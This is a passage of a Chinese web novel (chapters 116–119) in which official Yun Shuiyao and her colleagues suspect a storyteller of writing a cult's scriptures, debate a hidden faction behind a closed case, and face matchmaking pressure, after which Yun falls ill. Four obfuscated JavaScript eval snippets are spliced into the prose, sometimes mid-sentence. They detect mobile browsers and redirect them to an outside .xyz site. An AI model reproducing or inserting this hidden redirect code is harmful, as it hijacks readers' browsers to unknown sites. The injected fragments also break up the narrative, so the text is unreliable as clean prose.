两家虽痛失爱女,但皇帝的恩赏不可谓不厚,诚安伯、曲离侯自然觉得宽慰许多。两家死去的四个女儿能以县主的规格下葬,活着的孩子地位也更高了。 且宗正寺少卿会亲自前来主持葬礼,宗正寺是专门管理皇族的机构,也可以看出皇帝对几位死者葬礼的重视。曲离侯府、诚安伯府两家自然叩谢天恩。 这些事情的始末,平乐侯孟离尘简单地写在了这四张信纸中。 云水谣看完后,感慨道:“原来发生了这么多事,还好孟侯洗脱了嫌疑,孟荀也可以放心了。” 杜羽笑道:“我那姨父聪明得很,我还没见谁能把他套路进去。只是家贼难防,他也想不到自己的家仆孟七会背叛他。” “身边的人多了,难免会有一些心怀异心之人,这也是不可避免的,只要能及时拔除就好了。没想到闵暗雪竟是欧阳家的血脉,闵红姑隐藏得太深了。这个案子只追究到欧阳世杰这里,其实我觉得福王也参与了。” 杜羽道:“皇上不愿深究福王的过失,其他人自然不敢深入调查。继后和福王是如今最得圣宠的,要想让福王吃亏,可不是那么容易。” “皇上知道福王没那么简单吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731335|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “圣心难测,皇上心里如何想的,我也不知。我只能看出来,这些年太子的处境越发艰难。若非后宫有太子的亲姨母德妃撑着,时不时在圣上面前为太子说说好话,只怕圣上对太子的情分会慢慢淡下去。这就是后宫有人的好处。不过德妃毕竟不是太子的母亲,且后妃不得干政,很多话德妃也不能说得太多。德妃的儿子康王年已十四,等康王长成,自然能成为太子的臂膀,太子也能如虎添翼。” 太子是先皇后所生,而先皇后跟德妃是亲姐妹,都出自理国公府、安氏一族。所以,太子和康王,关系尤为密切。他们俩从父亲这边论也是兄弟,从母亲这边论也是兄弟。 只是康王还未成年,没法做什么大事,目前也只是专心读书而已。 云水谣问道:“皇上应该是很喜欢德妃的?以前我也曾听闻皇上总是花心思哄德妃高兴,传为美谈。” 杜羽道:“确实如此,不过皇上最喜欢的一定是继后。” “这是为何?” “对一个男人来说,在条件允许的情况下,他一定会把最好的东西给最心爱的女人。而对皇上来说,最好的东西自然就是后位。谁得了后位,谁自然最得圣心。继后以前的封号是柔妃,她当时就比德妃受宠。成为继后以后,德妃更加难以与其比肩了,只能小心谨慎地度日。” 云水谣是第一次听见有人这样明晰地指出男女之间的关系,她觉得杜羽说的很有道理。 在话本子里,总是写皇帝由于种种原因,没法立心爱的女人为后,甚至不能表现出宠爱,以免为她招来祸患。在明面上,皇帝总是宠爱那些他并不喜欢的女人,而皇帝一定有种种不得已的原因。而皇帝的真爱,往往只能委曲求全,甚至被打入冷宫,总之怎么虐怎么来。 但这其实是没有道理的。身为皇帝,只要掌握实权,他一定会立最喜欢的女子为后,无需考虑太多。可见话本子上的情节,听听就好了,不必当真。 很多话本先生都是普通人,连官吏都没见过几个,自然想象不出上层人的真实生活,只能靠瞎编。 想到这里,云水谣忽然想起,之前从勾栏拿来了一些秦婉君以前写的话本,她还没看过。 正好这会有空,她便拿了一本看。 看了一会,她突然觉得有些不对。 她拿了另一本话本给杜羽,问道:“杜长史,你看看这些话本。” 杜羽翻看了一会,问道:“怎么了?” “你看看这些话本上的字体。” “这字写得挺不错的,就像印刷上去的一样。看来写这些书的人书法很不错。” 云水谣道:“您看这些话本上的字迹,跟天神教书籍的字迹像不像?” 杜羽忽然有些震惊:“是挺像的……可惜天神教的书籍已经上交大理寺了,手头没有,否则可以再比对一下。” 116.逗留 “每个人的字迹都有所不同,且带有个人的特色。印刷体的字迹非常方正,一般人很难写成这样。如果要学印刷体,需要专门练习,而且不一定写得像。我觉得,这些话本的字迹和天神教书籍的字迹一致,并非是巧合。” 杜羽微微皱眉:“你的意思是,天神教的书籍其实是话本先生秦婉君所写?” 云水谣点头:“我确实有此猜测。我刚冒出这个想法的时候,觉得不太可能。秦婉君怎么会跟天神教有什么关系呢?可是,我又想到,天神教那些伪神的故事,无一不是精彩纷呈,跌宕起伏,所以把很多信众都吸引住了。要编出这些故事,可不是一件容易的事。 杜长史,您还记得闵暗雪的供状吗?” 杜羽道:“记得,当初她写供状时,有好几个字不会写,还是现场学的。” “正是。闵暗雪的文化水平绝不会太高,那么她不太可能编出这样的故事。而她的母亲闵红姑似乎也没有什么才华。欧阳世杰、福王虽有才学,但文学和故事不是一回事。他们就算能写出锦绣文章,也未必能写好一个故事。 所以我想,为天神教编这些故事的人,就是秦婉君。她本就是话本先生,做起这些事来轻车熟路。而且,还有一个很关键的地方。” 杜羽问道:“什么?” “一个人的写作习惯是很难改变的,秦婉君的话本和天神教的书籍,其中有许多行文习惯、断句方式、常用词语都很相似。从整体风格来看,也确实像是出自一人之手。” 杜羽道:“你的推测有道理,只是这些证据都不够充分。有很多读过书、看过话本且有一定想象力的人,都可以编出故事,很难说就是秦婉君所编。只是,她突然离开,有些可疑。” 云水谣:“没错,在天神教覆灭的关键时候离开,怎么看都像是为了避祸。只是,秦婉君若真是天神教的人,为何闵红姑、闵暗雪、天明、褚娇娇等人,竟无一人提及?大理寺审问她们是否有其他同党,她们只说出了欧阳世杰,没提秦婉君。” 杜羽道:“有一种可能,就是秦婉君是跟福王单线联系的,闵红姑等人并不知道秦婉君在为福王做事,也不知道天神教的那些书籍是秦婉君所写。秦婉君明面上只是一个话本先生,跟天神教没关系。甚至连欧阳世杰都不知道她的存在,所以在审案时,自然无人提及她。” 云水谣点头:“应该是这样,福王还真是深谋远虑,心细如尘,且十分聪明。他的这些下属之间,彼此互不相识,这样即便有一股势力被朝廷剿灭,尚能保全其他人。” 杜羽道:“福王确实不是一个简单的人,否则也不能给太子造成这么多的困扰。” “可是这次,他却栽了个大跟头。他的舅舅被流放,外祖家也被处罚,朝野上下对他也有一些不利的评价。” 杜羽却没有接着说话,而是皱眉沉思。 云水谣问道:“杜长史,你在想什么?” “我在想,福王这次吃的亏太大了些,跟以往不太一样。这次他的外祖家被推出来顶罪,他还从未受过如此沉重的打击。” “这是他多行不义必自毙。” “恐怕……” 杜羽话说了一半,没再说下去。 云水谣问:“我们要去找秦婉君吗?” “我可以派人私下寻访,但不能大张旗鼓通缉她,毕竟她明面上是无罪的。” “嗯。上次我见到她时,觉得她文采斐然,见解不俗。我早该想到,如此人物,一定不会是普通人。” “这哪能提前知道,云大人不必太苛责自己。” 杜羽叫来自己的暗卫,让他们私底下寻访秦婉君的下落。 云水谣道:“我得去找那个勾栏的老板,问他一些事。” 她带上秦婉君的话本,重新来到勾栏。这次,她直接表明了自己官员的身份,老板赶紧恭敬地将她请进雅间。 老板问道:“之前不知您是本州司马,多有怠慢,还请大人恕罪。” 云水谣道:“老板无需客气,之前是本官特意隐瞒,不关你的事。本官今日前来,是有一些事想问你。” “大人尽管问。” 云水谣拿出秦婉君的话本,问道:“这些话本是原版吗?” “是原版,都是秦婉君亲手写的。书房里还有一些手抄本,但我觉得手抄本的字迹不如原版好,所以上次特意拿了原版给您看。” “秦婉君这种酷似印刷体的字迹,还有人能写出来吗?” “应该很少,反正我们这个勾栏里没有。这手写印刷体,可是一门绝活,真不知道她花了多久才练成。” “你可知她是哪里人氏?” “她两年前来这里时,自称是宁州人士,也没说得太详细。她把自己写的话本给我看,我觉得她写得很好,就聘请她了。她平时也不怎么聊到自己的家乡。” “那你可知她去了何处?” “我也不知道,我连她最后一面都没见着。她是留书出走的,只说自己有事,不能在这里了,违约金就放在书信边,让我自取。她刚来时,签订的契约是三年。如果未满三年就离开,需要赔偿二百两银子的违约金。那天早上,伙计去她房间找她,发现她走了,桌上是一封信和二百两银子,谁都不知道她去哪里了。” “她的信还在吗?拿来给我看看。” “这个……我想着这信也没用了,就给扔了,反正违约金已经到手。如果早知道大人要看,我就不扔了。不过那封信上没写太多东西,内容我刚才都说过了。” 云水谣点点头。她也不是非要那封信不可,秦婉君也不可能在一封告别信里留下什么破绽。 反正,她有秦婉君手写的话本,就足以作为证据了。 云水谣道:“秦婉君所有的话本,我都买了。其他手抄本你可以留着,把原版给我。” “大人想要,送给大人便是。” 云水谣自然不会白拿,还是坚持给了老板一些钱。 她让人叫来勾栏所有的伙计,询问他们是否知道秦婉君的下落,他们都说不知。 看来打听不出什么了,云水谣便回到了衙门。 她把刚才的事跟杜羽说了,接着说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751639|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我是否可以把她的这些话本送交大理寺,作为她有可能牵涉天神教的证据?” 杜羽道:“不妥。这个证据不够充分,大理寺不会收录。且手写印刷体虽然难写,但肯定有其他人能写出来,不能以此为根据,说秦婉君跟天神教有关。我看,这些话本还是先留着,也许以后有用。” “也是,就算定不了秦婉君的罪,至少可以看看她写的故事,还是挺精彩的。” 云水谣此言,颇具自嘲的意味。她明明推测出秦婉君可能有问题,却找不到她的人,也定不了她的罪,这让云水谣十分难受。这种难受劲,就像是大冬天穿了好多层衣服,但是最里面那层衣服的袖子被水打湿了一样。 杜羽笑道:“不用沮丧,她要是真的不清白,总有落网的那一天。” “说的也是。你说景佑是不是快回来了?” “他就是会飞,也没那么快,且再等个十天半月吧。” 云水谣有些不好意思地笑了笑。她忽然发现,自己已经离不开元景佑了。他不在自己身边,总感觉不得劲。 这个样子落在杜羽眼中,也不知道他会不会笑话自己。 她朝杜羽看去,杜羽却在低头写着公文。一束阳光照在他的侧脸上,就像是一尊久经岁月洗礼的雕塑一般。 云水谣不自觉地多看了一会。过了一会,她才发现自己的失态,赶紧回过神来,忙起了手头的公务。 大约二十多日后,元景佑才回来。他看起来瘦了许多,皮肤也变黑了,倒是多了几分男子气概。 不过,他脸色凝重,似乎有什么心事。 云水谣问道:“京城那边一切顺利吗?你怎么这会才回来?” 如果快马加鞭,从京城到雍州也就七八日的工夫,所以云水谣才有此问。 元景佑道:“天神教的案子已经结了,不过又发生了两件事,似乎节外生枝,因此我在京城多留了几天。” 云水谣问道:“什么事?” “闵红姑等人被处斩时,我父亲是监斩官,而我负责带领卫士维持秩序。当时看热闹的百姓很多,我无意间听见一个老妇人的话。” 元景佑将当时的情形详细说了。 当时,有个老妇人看见闵红姑,便小声说道:“怎么是她?我以前还见过她。” 旁边的百姓问她:“你确定?你平时都不怎么出门,怎么会认识她?” 老妇人说道:“是真的,那个闵红姑毁容成这样,凡是见过一面都不会忘记的。大概十几年前,我还在扬州居住。我住的地方虽然偏僻,但是有一间空屋子,我便想找个租客,让中人帮忙散布消息。后来,有个蒙面的女人找上门来,说要租我的屋子,她还带着一个三四岁的女儿。我虽然很好奇她为什么蒙面,但也没有深究,把空屋子租给了她。 住下后,她也不怎么出门,也很少跟人打交道,每天仍是蒙着脸。后来有一次,她洗脸的时候,我无意间看见她的脸,发现毁容很严重,怪不得她要蒙面了。住了几个月后,她就走了。当时,她用的是假名字,我也不知道她真名叫闵红姑。” 117.租房 旁边的百姓道:“听说她可是天神教的教主,她住在你家时,有没有向你传.教啊?” 老妇人道:“不是说天神教近两年才有的吗?十几年前她租我房子的时候,好像还挺普通的,每天要么做家务,要么用木头雕刻一些小猫小狗拿去卖钱。她很少跟我说话的,我也没听说过天神教的东西。不过她的雕工真不错,雕什么像什么。” 这老妇人所说的话,被元景佑无意间听见。他当时也没有多想,不过事后想起来觉得有些奇怪。 既然闵红姑这些年来一直受欧阳世杰照顾,那她的生活应该都是欧阳世杰打点的,她怎么会需要自己去租房呢?而且她还要雕刻东西卖钱,看来手头拮据,并非如她自己所说的,手头一直宽裕。 后来,元景佑曾去找过那个老妇人,询问一些细节,但那老妇人记不清了。而且当初闵红姑租房时,与那老妇人只是口头约定,并未留下纸质契约,所以也没有什么物证。 听了元景佑所说的话,云水谣和杜羽也感到奇怪。 云水谣道:“也许闵红姑将手上的钱存起来了,做出一副没钱的样子,以免引人注意。” 杜羽道:“但她为何要亲自租房?” 元景佑道:“这个问题恐怕只有她自己能回答了,可惜她已经死了。” 云水谣问道:“对了景佑,你刚才说又发生了两件事,另一件事是什么?” 元景佑道:“欧阳世杰在流放西北的路上,还经常说自己冤枉。众人都不相信他,还奚落他,他竟气得以头撞树而亡。他的尸体被运回京城,由欧阳家安葬。许多人都说欧阳世杰竟然宁死也不认罪,实在冥顽不灵,可我却觉得有些蹊跷。于是,我偷偷调查了几日,但没查出什么,只得先回雍州了。” 云水谣惊讶:“欧阳世杰死了?” “是的。” “怎么会发生这种事……他就算想翻案,也不用一头撞死吧?” 杜羽道:“欧阳世杰虽然四十多岁了,但并不算一个心智坚定的人。他大半辈子趾高气扬,只有他欺负别人的份,没有别人欺负他的份。也许他真的在这个案件中受了很大的冤屈,但却没人相信,他承受不住,所以气得自尽了。” 元景佑道:“我当时也是这么想的,但这个案件证据确凿,且欧阳世杰的名声一向不好,旁人都认为他以头撞树,是为了让自己受伤,好显得自己冤枉。谁知没控制好力道,反而死了。还有一些言官对他的行为进行了讽刺。皇帝也厌恶此事,下令将他下葬,天神教一案不得再议。” 云水谣道:“他觉得冤枉,是不是因为他其实是替福王办事的,这一切事情也都是福王的主意。但最后福王没事,案件的元凶变成了他,所以他不甘心?” 杜羽道:“有可能。也许皇上正是想到了这点,才不许人再议论此案。万一查出欧阳世杰确实只是替福王办事,难道皇上要处置福王吗?皇上并不愿意对自己的爱子秉公处理,所以干脆睁只眼闭只眼。” 元景佑道:“还有一种可能,欧阳世杰所说的事都是真的。他年轻时确实跟闵红姑有过露水情缘,但闵红姑并未怀上他的孩子,闵暗雪并不是他女儿。且这么多年,他跟闵红姑处于失联状态,闵红姑所做的一切,跟他确实无关。” 云水谣道:“可是,种种迹象表明,闵红姑确实是受他指使的。” “很多事都是他身边的侍卫长耿忠所说,但万一耿忠被其他人收买了呢?” “侍卫长是他的心腹,又怎会轻易被收买?” “既然孟侯身边的孟七能被收买,那欧阳世杰身边的下属也有被收买的可能。” 关于这个问题,他们也只能推测。 杜羽道:“如果天神教的案子确实跟欧阳世杰和福王无关,就说明一定存在第三股势力。第三股势力既针对太子,也针对福王,但隐藏得比较深。” 云水谣问道:“为何这么说?” 杜羽:“你想想,那四位千金刚死的时候,我们一开始的猜测是什么?” “我们猜测是那四位千金不愿嫁给太子,选择自尽,或是为了争宠,选择姐妹自相残杀。” “如果当时就此结案,对谁比较不利?” 云水谣道:“对太子不利。” 杜羽接着说:“可我们当时没有就此结案,而是选择继续深挖真相,结果从四位小姐房中搜出伪神的雕像,引出天神教的事。经过一番波折,我们查出天神教明面上的幕后主使是欧阳世杰,暗地里的主使可能是福王。如今大理寺正是根据这一重真相结案,那么对谁比较不利?” 云水谣道:“欧阳家受挫,欧阳世杰身死,福王外祖家被打击,等同于福王被打击,自然是对福王不利。” 杜羽道:“没错。你有没有发现,我们查来查去,最后的结果要么是对太子不利,要么是对福王不利?” 云水谣道:“是啊……就好像被设计好了似的……对方出了一个多重谜题,如果我们只解开第一重,就对太子不利;解开第二重,就对福王不利。我们以为谜底只有两重,但也许有三重。” 杜羽:“没错。这第三股势力隐藏于水面之下。试想一下,假如这次的案子真的跟福王一党无关,但福王一党被打击,那福王会把这笔账记在谁的头上?” 云水谣:“也许,福王会觉得这次是太子构陷他,那么他和太子之间的矛盾会更深。” 杜羽:“没错。鹬蚌相争,渔翁得利。只是,我们尚不知道谁是渔翁。” 云水谣只觉得头都疼了。朝堂势力错综复杂,远超她的想象。 她觉得自己在还原真相,可她费尽心机所还原的,不过是别人设计好的“真相”。 见云水谣愁眉深锁,杜羽道:“其实,这些也只是推测而已。也许天神教一案就是福王一党所做,欧阳世杰自尽,不过是虚张声势,故布疑阵,让人相信他无辜。他可能一开始只想撞伤自己,没掌控好力道才撞死的。” 其实,这几种猜测都说得通。 但是,这案子已经尘埃落定,相关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761403|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人等都死得差不多了,也只能到此结束了。 云水谣喃喃道:“策划这一切的究竟是谁?他一定是个比福王更加可怕的人……” 杜羽拍了拍她的肩膀,道:“这世上有许多暂时无能为力之事,我们只需问心无愧便可。” 云水谣道:“只是问心无愧便可以了吗?我总觉得是自己能力不足,所以没有查到真正的真相。欧阳世杰虽然名声不好,欺男霸女的事没少做,但他这次若真是含冤而死,我也有一份责任。” 杜羽道:“并非能力不足,而是经验太浅,以后一定会越来越好的。再说,你怎知我们查到的就不是真相?所谓的第三股势力,不过是我的推测,你别多想,做好眼前的事便好。” 云水谣点头:“没错,活在当下。” 云水谣并不是一个经常内耗的人,她很能随遇而安,给自己继续走下去的勇气和力量。 她遭遇的变故太大了,经历的事也太多,如果时常回顾过去,只会增添很多情绪,让自己没法平静。所以,她很多时候会逼着自己向前看。 同时,她也对隐藏在暗处的第三股势力产生了兴趣,希望自己能迎难而上,撕破对方的伪装。 顾刺史剿匪归来,受了伤,在家中休养,暂时没法来衙门。他派出侍卫来找云水谣、杜羽,让他们两人继续主理雍州公务,便宜行事,如有无法决断之事,可直接去他家找他询问。 云水谣又忙了几日,有什么不懂的直接问杜羽,基本上都能解决。 这天,顾刺史身边的随从来找云水谣,道:“云司马,顾大人请您过府叙话。” 云水谣心想,也许顾刺史有什么要紧事,因此不敢耽搁,跟那随从往顾家去了。 那随从一路引着云水谣,来到顾府的客厅。顾刺史已经端坐着喝茶,见云水谣到来,便起身相迎。 云水谣赶紧行礼,顾刺史笑呵呵地说:“不必多礼,坐吧。” 云水谣便告座,顾刺史让人上茶。 顾刺史先询问了云水谣近期的工作情况,云水谣都一一应答。 接着,顾刺史说道:“云大人,本官见你宵衣旰食,十分勤勉,不知你心中的志向如何?是想守护一方百姓,不在意功名利禄,还是希望在仕途上有所进益?” 云水谣想了想,道:“在下官心中,两者都很重要,因此希望能兼得。且皇上答应,若我有朝一日能成为女相,便可让我的家人从流放地回来。因此,下官自然是想试上一试的。” 顾刺史道:“云大人是女官,要往上升比一般官员要难上许多。且你又不像孟荀那样有过硬的家族关系,你家也已经被抄家夺爵,你外祖家又已衰落,可以说你身后毫无助力。如果云大人不懂得谋划的话,只怕会在司马这个位置上终老。 即便再勤勉,终其一生,也很难超过五品。所以我刚才才问你,是想守护一方百姓,还是想在仕途上有所进益。如果只想为百姓做点事,司马这个位置也够了。但若有进取之心,只靠完成公务是不够的。” 118.联姻 云水谣问道:“顾大人此言何意?莫非官场升迁,不看功绩、履历,反而要靠关系吗?” “功绩和履历固然要紧,但有可以依靠的势力也很重要。官场比你想的复杂许多,如果你只知道埋头干活,你也会被埋没。有很多官员并非能力不足,但因没有可以倚靠的势力,终其一生只能做个小官。就比如,有些人当了一辈子官,但一直只是个七品县令。但对云大人来说,眼下就有个好机会。” “什么机会?” “联姻。” “联姻?顾大人的意思是,让我嫁给您的儿子吗?” 顾刺史笑道:“云大人多虑了,本官不是这个意思。且本官的儿子跟你年纪都不相符,难以成婚。本官的意思是,你联姻的对象,其实就在你身边。” 云水谣想了想,忽然有些脸红,问道:“顾公说的是元景佑?是他请顾公来做媒的吗?” 顾刺史道:“这倒不是。元世子若是懂得请人做媒,也不会到现在还是独身一人了。是我看出他似乎对你有意,否则也不会一直留在你身边做个侍卫长。以他的身份,本可以轻松得个不大不小的官职,等有了政绩,升为高官也非难事,只是他似乎不愿离开你罢了。 我想,这对云大人来说是个好机会。你若愿意跟他联姻,便相当于镇国公府和宁津元氏都成了你的靠山,将来升迁会容易许多。宁津元氏是五姓七家之一,家族有数十人在朝为官,这是一般人想攀都攀不上的门路。而且,我所说的联姻对象,其实不止元景佑一人。” 云水谣有些惊讶:“还有谁?” 顾刺史捻须微笑:“云大人仔细想想。” “这我可想不出来了。” “云大人难道没发现,杜长史似乎也对你有意吗?” “啊?” 云水谣惊得站了起来,手中茶杯差点掉在地上。她觉得有些失礼,赶紧坐下,但心还是怦怦直跳。 顾刺史说道:“杜长史已经是游击将军,却又领了雍州长史的差事,云大人觉得是为什么?难道他缺钱,要打两份工吗?” 云水谣道:“这自然是因为之前雍州缺少长史,皇上量材录用,任命杜长史为雍州长史。” “我听说,这个职位是杜长史向皇上执意求来的。皇上问他为什么非要当雍州长史,他只说自己喜欢雍州风物。但他自从来雍州,经常跟云大人形影不离,出入相随,对云大人也总有一些看似不经意的关心。我这才明白,吸引他的不是雍州的风物,而是雍州的人。” 云水谣赶紧说道:“顾大人,您怎么能胡乱猜测?杜长史总是跟我待在一起,是因为我们联手办案,并不为别的。而且,我看不出他对我有意。” 顾刺史笑道:“云大人是当局者迷,但本官可是旁观者清啊。这些年轻人的心思,我还是能猜出一二的。云大人积极进取,为官勤勉,施政仁和,才能出众,我不忍云大人这样的人才被埋没,因此今日冒昧说了这些。 本官一看见云大人,就想起了自己的女儿。她小时候也爱读书,可惜没有赶上好时候。她年轻时可没什么女子科举,十几岁时就嫁人了。后来家事繁忙,便渐渐不看书了。云大人若能有所成就,也可以稍微弥补本官心中的缺憾。 元世子、杜长史二人若能择其一联姻,必对云大人大有裨益。杜长史是长公主之子,皇上的亲外甥,身份比元世子更为显赫。本官觉得,从身份上来说,他似乎更为合适。但元世子心思单纯,又处处以云大人为重,似乎也不错。” 云水谣心想,您怎么还挑上了?就这两人的身份,也不是云水谣能挑的。只怕是自作多情,惹人笑话。 云水谣推辞道:“多谢顾公好意,只是下官不愿通过联姻让自己升官,或是获得其他好处。” 顾刺史道:“在官场上,也不能一点助力也没有。为自身谋划一二,只要不害人,也不能算错。且你的目标是成为女相,救出家人,那你的一切行为都是为了这个目标服务。若是只管清高,拖延时间,反而对家人不利。” 云水谣觉得,顾刺史说的也有道理。如果只靠自己,可能三五十年也升不了官,做不了女相,难道要让家人都在岭南老死吗? 可若是为了升官,选一个世家子弟联姻,云水谣又觉得怪怪的。就算元景佑或杜羽愿意,云水谣也觉得不是滋味。 她现在还没有考虑过婚姻大事,但若是要成亲,她觉得也应该是出于感情,而不是掺杂利益。 不过,顾刺史的好意,她还是心领的。 她又跟顾刺史闲聊了几句,便离开了。 回到衙门时,杜羽正在批阅公文。云水谣坐在他附近,继续手头的工作。 只是,她却觉得气氛有些怪怪的。明明杜羽没做什么,但云水谣就是如坐针毡。 她一会偷瞄杜羽几眼,一会又看看公文。公文是一个字都没看进去,她倒看出杜羽长得真是不错,就像天上的雄鹰一般矫健轻捷。 她觉得自己的心乱了起来,忍不住用手敲了敲自己的头。杜羽虽未抬头看她,却露出了一抹微笑。 元景佑走了进来,见云水谣似乎有些不适,便问道:“大人怎么了?” 云水谣一抬头,见到元景佑,忙道:“我没事,你离我远点。” 元景佑问道:“为何?” “不为何,就是……” 杜羽插嘴道:“因为她不想见到你。” 元景佑满头问号,但还是走了出去。他觉得云水谣可能太忙了,那自己也不便打扰。 云水谣这会岂止不想见元景佑,也不想见杜羽,她需要冷静一下。因此,她抱起桌上的文书,道:“我坐久了不舒服,带回房间去看。” 说着,她也没看杜羽,落荒而逃了。 杜羽看着她的背影,发出一声轻笑。 云水谣抱着公文回房后,调整好心情,继续批阅公文。 之前由于突然出了几位千金暴毙一案,云水谣忙于调查,积压了许多公务,这会她要赶紧补上。 午后,丫环劝她喝杯安神茶,午睡片刻,她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772798|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝了。 大约是精力透支,再加上忧心自己的未来,到了晚上,云水谣竟病了。 这病也奇怪,她并未发热或咳嗽,只觉得全身懒洋洋的,提不起精神来,只想躺着。一想到公文,她就头晕;一看到密密麻麻的字,她就不适,似乎有些想吐。 平常她闲下来时会看一些诗词集或话本,现在也看不进去,根本不知道这些书上写了什么。只要一思考,她的太阳穴就突突的跳,还伴随着疼痛。 她很想起来忙公务,可越这么想,身体就越疲惫。到后来,她只好认命地躺着,并派丫环去衙门告假。 本来她只请了三日假,但是三日之后,症状还是没有减轻,便只能继续请假。 她心急如焚,可偏偏毫无办法。 她家族的命运都系在她一人身上,她觉得自己不能躺这么久,应该抓紧一切时间处理政务,积累声望和政绩。 丫环们请了好几个大夫来看,大夫们都认为云水谣是积劳成疾,只需多休息一段时间就好。有的大夫开了一些强身健体的药,也有的大夫开了一些调理脏腑的药,有的开的是提神的药,有的开了助睡眠的药,简直是一人一个方子,云水谣都不知道吃谁的药比较好。 还有的大夫主张什么药都不吃,让身体慢慢恢复。服药加速了病愈的过程,但也会给身体埋下隐患。 云水谣觉得,与其把那些药都吃一遍,倒不如听最后一个大夫的,让身体自己调理到最佳状态。 杜羽、元景佑来探病多次,每次都是隔着屏风问候云水谣,云水谣都说自己并无大碍。 这天,云水谣醒来时,却发现元景佑跪坐在床边,一直瞧着她。见她醒来,元景佑十分惊喜。 云水谣笑道:“你怎么进入内室了?” 元景佑道:“请大人恕罪,我总要看看大人的模样才放心。大人以前都未曾病这么久,这次是怎么了……” 云水谣道:“我也不知……可能就是累着了。你别担心,我感觉自己慢慢变好了。我都四五日未曾梳洗化妆了,现在的模样一定很难看。” “不,大人很美。” 元景佑说完,自己先脸红了。 接着,他去倒了一杯温水,给云水谣喝。 云水谣喝下后,微微皱眉:“没味道,我想喝点汤。” 元景佑忙道:“汤也有,有豆腐腊肉汤、松茸菌菇汤、党参山药枸杞鸡汤、火腿笋干老鸭汤,都是丫环们今天刚做的,预备着你醒来喝。” 云水谣笑道:“我每样都想喝。” 元景佑便把所有的汤都端了进来。每样汤都用小碗盛着,所以能一起放在一个托盘里。 元景佑端起一碗汤,小心翼翼地喂云水谣喝了几口。云水谣道:“你也喝。” 元景佑笑道:“没了。” 云水谣往碗底一看,果真已经没汤了,只剩下几块鸡肉和一些配菜。丫环们特意用很小的碗来装,就是怕云水谣喝多了。她现在的身体状况,滋补品只需适量即可,不宜贪多。 119.心病 云水谣不想吃肉,元景佑便把剩下的肉和菜吃了。 一连数碗,都是云水谣喝汤,元景佑吃剩下的食物。 云水谣笑道:“我真善良,你真有福气,还能吃到我的营养餐。” 元景佑忍不住笑了,应和道:“是是是,大人是天下第一好心肠的人。” 说着,他伸手摸了摸云水谣的额头,似乎想看看她是否发烧。 云水谣有些难为情,往后一躲,不过还是没躲开。元景佑骨节分明的手贴上了她的额头,让她心中泛起一股异样的感觉。 元景佑道:“没发烧。” 这时,他才意识到自己做了什么,赶紧收回手,道:“大人,冒犯了。” 云水谣赶紧装出一副正经的模样:“没事。” 这时,他们听见一声咳嗽声,原来是杜羽走了进来。 元景佑赶紧站了起来,退到一边。 杜羽在旁边的椅子上坐下,看着云水谣,道:“云大人的气色好了一些,只是黑眼圈很重,双目无神,脸色发白,看来还需休养一阵。” 云水谣道:“这些天我吃了睡,睡了吃,难道还有黑眼圈吗?” “有,这应该是长期疲劳所造成的,并非是睡几天就能解决。” 云水谣心想,自己现在的模样一定很难看,亏元景佑还能昧着良心夸她美。 她有些嗔怪地看了元景佑一眼,元景佑愣了一下,随即温和地看着她。 云水谣又不好意思跟他对视,便收回了目光,看着自己的手。 杜羽忽然道:“元侍卫,我觉得你应该去外面把守,这样有什么风吹草动,你就能第一时间知道。” 元景佑点头:“言之有理。” 他觉得自己继续待在云水谣的闺房中不合适,因此真的走了出去。 云水谣总觉得哪里不对,但杜羽的话也挑不出毛病来。杜羽倒是老神在在地坐着,没有离开的意思。 杜羽问道:“云大人,你为何生病,自己能找出原因吗?” 云水谣道:“我觉得可能是累的……还有心里很焦虑,我总是自己催着自己去做很多事情,但我的身体好像吃不消了。” “你处理凶杀案时,心里会感到害怕吗?” “其实一直会……那些死者的死法千奇百怪的,总之每一件案子带给我的冲击都很大,但我不能表现出来。” “你看仵作验尸时,会感到恶心吗?” “其实也会……但我不能说,而且我必须得看仵作验尸,这样才能找到证据。” “你平时很累时,会不会有某些瞬间很想逃离现在的生活?” 